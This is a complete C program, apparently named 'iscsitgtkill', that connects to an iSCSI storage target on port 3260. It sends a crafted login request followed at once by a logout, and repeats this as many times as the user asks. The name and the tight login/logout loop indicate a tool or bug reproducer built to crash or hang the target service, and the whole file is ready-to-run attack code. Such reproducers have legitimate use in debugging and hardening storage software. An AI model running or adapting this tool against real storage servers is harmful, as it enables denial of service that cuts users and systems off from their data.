#define _GNU_SOURCE
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <unistd.h>
#include <arpa/inet.h>

#define hton24(p, v) { \
        p[0] = (((v) >> 16) & 0xFF); \
        p[1] = (((v) >> 8) & 0xFF); \
        p[2] = ((v) & 0xFF); \
}

typedef uint32_t __be32;
typedef uint16_t __be16;

static void send_login(int fd, char *initiator_name, char *target_name);
static void send_logout(int fd);

struct iscsi_login_req {
	uint8_t opcode;
	uint8_t flags;
	uint8_t max_version;    /* Max. version supported */
	uint8_t min_version;    /* Min. version supported */
	uint8_t hlength;
	uint8_t dlength[3];
	uint8_t isid[6];        /* Initiator Session ID */
	__be16  tsih;   /* Target Session Handle BE*/
	uint32_t    itt;   /* Initiator Task Tag */
	__be16  cid;
	__be16  rsvd3;
	__be16  cmdsn;
	__be32  exp_statsn;
	uint8_t rsvd5[16];
};

struct iscsi_logout {
        uint8_t opcode;
        uint8_t flags;
        uint8_t rsvd1[2];
        uint8_t hlength;
        uint8_t dlength[3];
        uint8_t rsvd2[8];
        uint32_t    itt;   /* Initiator Task Tag */
        __be16  cid;
        uint8_t rsvd3[2];
        __be32  cmdsn;
        __be32  exp_statsn;
        uint8_t rsvd4[16];
};


char *conn_params[] = {
#if 0
	"InitiatorName=iqn.1994-05.com.redhat:c03a48feed9d",
#endif
	"InitiatorAlias=raketa",
#if 0
	"TargetName=iqn.2003-01.org.linux-iscsi.kvm-01-guest23.x8664:sn.5da5e681589d",
#endif
	"SessionType=Normal",
	"HeaderDigest=None",
	"DataDigest=None",
	"DefaultTime2Wait=2",
	"DefaultTime2Retain=0",
	"IFMarker=No",
	"OFMarker=No",
	"ErrorRecoveryLevel=0",
	"InitialR2T=No",
	"ImmediateData=Yes",
	"MaxBurstLength=16776192",
	"FirstBurstLength=262144",
	"MaxOutstandingR2T=1",
	"MaxConnections=1",
	"DataPDUInOrder=Yes",
	"DataSequenceInOrder=Yes",
	"MaxRecvDataSegmentLength=262144",
	NULL,
};

static void usage(void)
{
	printf("iscsitgtkill -i <initiator_iqn> -t <target_iqn> -p <target_ip> [-r <num_retries>]\n");
}

int main(int argc, char **argv)
{
	int sockfd, opt;
	struct sockaddr_in tgtaddr;
	char *initiator_name = NULL;
	char *target_name = NULL;
	char *target_ip = NULL;
	int retries = 0;

	while ((opt = getopt(argc, argv, "i:t:p:r:h")) != -1) {
		switch (opt) {
		case 'i':
			asprintf(&initiator_name, "InitiatorName=%s", optarg);
			break;
		case 't':
			asprintf(&target_name, "TargetName=%s", optarg);
			break;
		case 'p':
			target_ip = optarg;
			break;
		case 'r':
			retries = atoi(optarg);
			if (retries < 0) {
				printf("Number of retries must be >= 0\n");
				return -1;
			}
			break;
		case 'h':
			usage();
			return 0;
		case '?':
			fprintf(stderr, "Unknown option %c\n", optopt);
			goto err_usage;
		}
	}

	if (!initiator_name) {
		fprintf(stderr, "Missing initiator_iqn parameter!\n");
		goto err_usage;
	} else if (!target_name) {
		fprintf(stderr, "Missing target_iqn parameter!\n");
		goto err_usage;
	} else if (!target_ip) {
		fprintf(stderr, "Missing target_ip parameter!\n");
		goto err_usage;
	}

retry:
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if (sockfd < 0) {
		printf("Cannot create the socket\n");
		return sockfd;
	}

	tgtaddr.sin_family = AF_INET;
	tgtaddr.sin_addr.s_addr = inet_addr(target_ip);
	tgtaddr.sin_port = htons(3260);

	if (connect(sockfd, (struct sockaddr *) &tgtaddr, sizeof(tgtaddr)) < 0) {
		printf("Cannot connect to the target\n");
		return -1;
	}

	send_login(sockfd, initiator_name, target_name);
	send_logout(sockfd);

	usleep(50000);

	close(sockfd);
	if (retries-- > 0)
		goto retry;
	return 0;

err_usage:
	usage();
	return -1;
}


static void send_login(int fd, char *initiator_name, char *target_name)
{
	struct iscsi_login_req *login_req;
	int i, len;
	int pad = 1;
	unsigned data_len = 0;

	login_req = calloc(1, 4096);

	login_req->opcode = 0x43;
	login_req->flags = 0x87;
	login_req->hlength = 0;

	char *data = &login_req->rsvd5[16];
	char *str = data;

	len = strlen(initiator_name);
	memcpy(str, initiator_name, len);
	str = &str[len + 1];
	data_len += len + 1;

	len = strlen(target_name);
	memcpy(str, target_name, len);
	str = &str[len + 1];
	data_len += len + 1;

	for (i = 0; conn_params[i]; ++i) {
		len = strlen(conn_params[i]);
		memcpy(str, conn_params[i], len);
		str = &str[len + 1];
		data_len += len + 1;
	}

	hton24(login_req->dlength, data_len);

	if ((sizeof(*login_req) + data_len + pad) % 2)
		pad++;

	write(fd, login_req, sizeof(*login_req) + data_len + pad);
}

static void send_logout(int fd)
{
	struct iscsi_logout logout;

	memset(&logout, 0, sizeof(logout));

	logout.opcode = 0x46;
	logout.flags = 0x01;
	
	write(fd, &logout, sizeof(logout));
}